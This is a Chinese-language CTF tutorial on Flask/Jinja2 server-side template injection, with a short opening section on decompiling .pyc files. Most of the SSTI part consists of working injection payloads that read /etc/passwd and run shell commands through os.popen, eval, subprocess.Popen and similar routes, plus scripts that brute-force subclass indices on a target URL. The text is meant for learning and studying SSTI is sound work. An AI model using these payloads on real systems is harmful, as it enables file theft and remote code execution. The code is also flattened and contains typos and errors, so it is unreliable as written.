反编译pyc字节码文件
pyc文件是py文件编译后生成的字节码文件(byte code),pyc文件经过python解释器最终会生成机器码运行。因此pyc文件是可以跨平台部署的,类似Java的.class文件,一般py文件改变后,都会重新生成pyc文件。
真题附件:http://pan.baidu.com/s/1jGpB8DS
反编译平台:
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
反编译工具:https://github.com/wibiti/uncompyle2
一般在CTF上,真实上很难遇到。类似.class文件等,PHP可以直接打包,但是.net和.class,.pyc需要解密才能得到源代码。
在学习SSTI漏洞利用之前,先了解flask框架与魔术方法的使用
Flask框架基础
装饰器@route路由
使用route()装饰器告诉Flask 什么样的URL能触发函数。一个路由绑定一个函数。
from flask import flask
app = Flask(__name__)
@app.route('/')
def test()return 123@app.route('/index/')
def hello_word():return 'hello word'if __name__ == '__main__':app.run(port=5000)#结果:
#访问 http://127.0.0.1:5000/会返回123,但是 访问http://127.0.0.1:5000/index则会返回hello word
用@app.route('/')
的时候,在之前需要定义app = Flask(__name__)
不然会报错,因为这个装饰器依赖于 Flask 应用实例,Flask(__name__)
用于创建一个新的 Flask web 应用实例
是一个带有动态部分的 URL 路由。在这个例子中,<username>
是一个变量部分,它允许 URL 匹配任何包含该位置参数的字符串。
from flask import Flask app = Flask(__name__) @app.route("/<username>")
def hello_user(username): return "user:%s" % username if __name__ == "__main__": app.run(debug=True)
渲染模版方法与Jinja2 模板引擎
render_template() 是用来渲染一个指定的文件的。
render_template_string则是用来渲染一个字符串的。
通过这两个函数将需要渲染的值传入到模板中
假设我们现在有一个index.html的模板
<html><head><title>{{title}}</title></head><body><h1>Hello, {{name}}!</h1></body>
</html>
使用render_template() / render_template_string()渲染时,只需传入title和name两个参数即可
from flask import Flask, request,render_template,render_template_string
app = Flask(__name__)
@app.route('/')
def index():return render_template("index.html",title='Home',name='user')
if __name__ == '__main__':app.run(port=5000)
注意上面代码我们手动传值的写死了的,所以他是安全的,但是如果,我们把传值的机会给用户,下面代码通过request.args.get('id')接收用户输入的id值传入到模版中渲染,并且直接使用 Python 的字符串格式化来处理id
from flask import Flask, request,render_template,render_template_string
@app.route('/test')
def test():id = request.args.get('id')html = '''<h1>%s</h1>'''%(id)return render_template_string(html)
if __name__ == '__main__':app.run(port=5000)
而这时假设用户通过id传入一个恶意代码,就可能造成代码执行等问题,如id=<script>alert(111);</script>会把传入的js脚本执行
将上面代码稍微改动,使用Jinja2 模板引擎默认会对变量进行 HTML 转义,以防止跨站脚本攻击(XSS)。这意味着如果变量中包含 HTML 标签或特殊字符,它们将被转换为相应的 HTML 实体,从而不会在浏览器中作为 HTML 代码执行。
语法:
{{ some_variable|safe }}
some_variable
的内容将不会被转义,而是直接输出为 HTML。但务必谨慎使用|safe
过滤器,因为它会使你的应用程序更容易受到 XSS 攻击。只有在你完全信任该变量的内容时,才应该使用它。{{ some_variable|escape }}
escape
过滤器用于显式地对变量进行转义,默认选项
例如,如果你有一个包含 <
和 >
字符的变量,Jinja2 会将这些字符转换为 <
和 >
实体。
@app.route('/test/')
def test():code = request.args.get('id')return render_template_string('<h1>{{ code }}</h1>',code=code)
继承关系与魔法方法
__class__ #查看当前类型的所属对象
__base__ #沿着父子类关系往上走一个
__bases__ #查看该类的所有直接父类
__mro__ #查找当前类对象的所有继承类
__subclasses__() #查找父类下的所以子类
__init__ #查看类是否已经加载这模块到内存中,如果出现wrapper字眼,说明没有
__globals__ #返回当前对象的全部全局变量,有哪些可用的方法函数等
示例:
class A:passclass B(A):passclass C(A):passclass D(B, C):pass
通过继承关系去执行到其他类可利用模块、函数等
我们都知道,object是所有类的基类,那么假设我们可以获取object的所有子类,就可以利用其子类的方法
可以看到__subclasses__()返回一个列表,我们可以通过下标来找到是否存在一些可利用的模块和函数
简单了解什么是SSTI
SSTI,即服务器端模板注入(Server-Side Template Injection),是一种注入攻击,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,没有严格控制对用户的输入,使用了危险的模板,导致执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
而flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file,os等
检查是否存在SSTI漏洞
-输入的数据会被浏览器利用当前脚本语言调用解析执行
判断SSTI类型
有响应,正常执行
无响应,无法执行
SSTI常用注入模块利用
文件读取
查找子类的可利用模块名
_frozen_importlib_external.FileLoader
<class '_frozen_importlib_external.FileLoader'>
利用python脚本循环匹配子类,代码原理遍历查找__subclasses__()函数找出的所有子类,匹配到就返回i,i就是下标
import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if '_frozen_importlib_external.FileLoader' in response.text:print(i)except:pass
FileLoader的利用
["get_data"](0,"/etc/passwd")
调用get_data方法,传入参数0和文件路径
假设python脚本获取到下标为79,继续往下构造playload
{{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}
前半段找出_frozen_importlib_external.FileLoader模块,后半段利用该模块下的函数读文件
在CTF中有一些会把FLAG放在配置文件里,通过读取配置文件获取FLAG
{{config}}
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
内建函数eval执行命令
eval会把传进的值当做python代码执行,__builtins__包含了 Python 解释器启动时自动导入的所有内置函数和异常
通过__builtins__查找内建函数,比如abs()
, len()
, open()
, range()
等都是 __builtins__
模块的一部分,同样是通过脚本遍历找到存在 __builtins__
模块并存在eval函数
import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if 'eval' in response.text:print(i)except:pass
假设python脚本获取到下标为79,继续往下构造playload,导入os模块执行文件读取
{{().__class__.__base__.__subclasses__()[79].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /ect/passwd").read()')}}
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd(system模块没有回显)
OS模块执行命令
在其他函数模块中直接调用OS模块
通过config,调用OS
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
通过url_for,调用OS
{{url_for.__globals__.os.popen('whoami').read()}}
在已经加载OS模块的子类里直接调用OS模块
{{''.__class__.__bases__[0].__subclasses__[199].__init__.__globals__['os'].popen("whoami").read()}}
通过{{self.__dict__.TemplateReference__context.keys()}}查找Flask内置函数和内置对象,根据内置函数和内置对象直接使用.__globals__查看是否存在os,如{{lipsum.__globals}}
通过python脚本查找子类下是否存在os.py
import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if 'os.py' in response.text:print(i)except:pass
importlib类执行命令
可以加载第三方库,使用load_module加载os(用的不多)
python脚步查找_frozen_importlib.Builtinlmporter
import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if '_frozen_importlib.Builtinlmporter' in response.text:print(i)except:pass
找到模块下标后,假设是69,继续构建playload
{{().__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("whoami").read()}}
linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以可以利用这个linecache函数去执行命令
{{[].__class__.__base__.__subclasses__()[69].__init__.__globals__["linecache"]["os"].popen("whoami").read()}}
python脚步类似
subprocess.Popen类执行命令
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值
subprocess意在替代其他几个老的模块或者函数,比如os.system、os.popen等函数
python脚本查找subprocess.Popen
import requestsurl = input('输入URL:')for i in range(500):data = {"注入变量名": "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"}try:response = requests.post(url, data=data)if response.status_code == 200:if 'subprocess.Popen' in response.text:print(i)except:pass
获取到下标后,playload的构造和上面的有点不一样
{{().__class__.__bases__[0].__subclasses__()[155]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}